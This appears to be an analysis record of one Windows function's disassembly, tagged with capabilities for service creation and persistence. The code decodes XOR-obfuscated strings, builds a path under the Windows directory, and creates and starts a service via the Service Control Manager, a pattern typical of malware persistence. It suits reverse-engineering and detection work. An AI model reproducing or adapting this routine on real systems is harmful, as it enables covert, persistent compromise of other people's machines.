Function at 0x180010430
Capabilities:
Create service
Get common file path
Persist via windows service
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rax - 0x4a8]
sub rsp, 0x590
mov ebx, 0x208
lea rcx, [rbp + 0x280]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
movabs rax, 0xb187692a336e19e3
lea rdx, [rbp - 0x50]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x280]
movabs rax, 0x6bb362fa39501045
movabs rdi, 0x9ead7275034fe1de
mov qword [rbp - 0x48], rax
movabs r14, 0xb1f5694e331e1997
movups xmm0, xmmword [rbp - 0x50]
mov qword [rbp - 0x38], rdi
movabs rax, 0xc935ac473cdbe92
mov qword [rbp - 0x40], rax
movabs r15, 0x6bc1629f3926102c
movups xmm1, xmmword [rbp - 0x40]
movabs r12, 0xc935ac473cdbee1
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r15
pxor xmm0, xmmword [rsp + 0x70]
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rdi
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov r8d, ebx
lea rcx, [rbp + 0x70]
xor edx, edx
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
jne 0x180010529
call qword [sym.imp.KERNEL32.DLL_GetLastError]
movabs rax, 0x9c0d6af2d1d2f7fb
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x10]
movabs rax, 0x551360233190ca10
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x28], rax
lea rcx, [rsp + 0x70]
movabs rax, 0x2f101be87ee0f955
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x20], rax
movabs r13, 0x10ca7c39225047c2
movabs rax, 0xb1866937336d19cb
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x10], rax
mov r8d, 0x40
movabs rax, 0x6bf262f239431058
mov qword [rbp - 0x18], r13
mov qword [rbp - 8], rax
movabs rax, 0xce15aa07391bed3
mov qword [rbp], rax
movabs rax, 0x9edf72100339e1b7
mov qword [rbp + 8], rax
movabs rax, 0x9c7d6a86d18ef788
mov qword [rbp + 0x10], rax
movabs rax, 0x5565604a31e2ca74
mov qword [rbp + 0x18], rax
movabs rax, 0x2f3e1b9b7e92f930
mov qword [rbp + 0x20], rax
movabs rax, 0x10ca7c4a222947b1
mov qword [rbp + 0x28], rax
call sub.ntdll.dll_memcpy
movdqa xmm1, xmmword [rbp - 0x80]
lea rdx, [rsp + 0x70]
pxor xmm1, xmmword [rbp - 0x40]
lea rcx, [rbp + 0x70]
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmmword [rbp - 0x60], xmm1
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x180010665
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180010831
movabs rax, 0xb1b8693a337219d1
mov qword [rbp - 0x50], r14
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x30]
movabs rax, 0x6bc1629f3954104b
mov qword [rbp - 0x48], r15
movdqa xmm1, xmmword [rbp - 0x50]
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x78], rax
mov r8d, 0x40
movups xmm0, xmmword [rsp + 0x70]
movabs rax, 0x9c0d6af2d1d2f7fb
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x70], rax
movabs rax, 0x551360233190ca10
mov qword [rbp - 0x68], rax
pxor xmm1, xmm0
movabs rax, 0x2f101be87ee0f955
movdqa xmmword [rbp - 0x50], xmm1
mov qword [rbp - 0x60], rax
movabs rax, 0xb19c6908334d19d1
mov qword [rbp + 0x30], rax
movabs rax, 0x6bb362fa39521040
mov qword [rbp + 0x38], rax
movabs rax, 0xce75aa7738cbec1
mov qword [rbp + 0x40], rax
movabs rax, 0x9ed9721c0339e1b7
mov qword [rbp + 0x48], rax
movabs rax, 0x9c626abfd1f2f782
mov qword [rbp + 0x50], rax
movabs rax, 0x557c605731f9ca7e
mov qword [rbp + 0x58], rax
movabs rax, 0x2f101be87ee0f927
mov qword [rbp + 0x60], rax
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x58], r13
mov qword [rbp + 0x68], r13
call sub.ntdll.dll_memcpy
and qword [rsp + 0x60], 0
lea rax, [rbp - 0x50]
and qword [rsp + 0x58], 0
lea r8, [rbp + 0x280]
movdqa xmm0, xmmword [rbp - 0x10]
lea rdx, [rbp + 0x280]
pxor xmm0, xmmword [rsp + 0x70]
mov r9d, 0xf01ff
movdqa xmm1, xmmword [rbp]
mov rcx, rbx
pxor xmm1, xmmword [rbp - 0x80]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x10]
and qword [rsp + 0x48], 0
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp], xmm1
movdqa xmm1, xmmword [rbp + 0x20]
pxor xmm1, xmmword [rbp - 0x60]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 2
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmmword [rbp + 0x20], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
jne 0x18001080f
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x18001065a
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret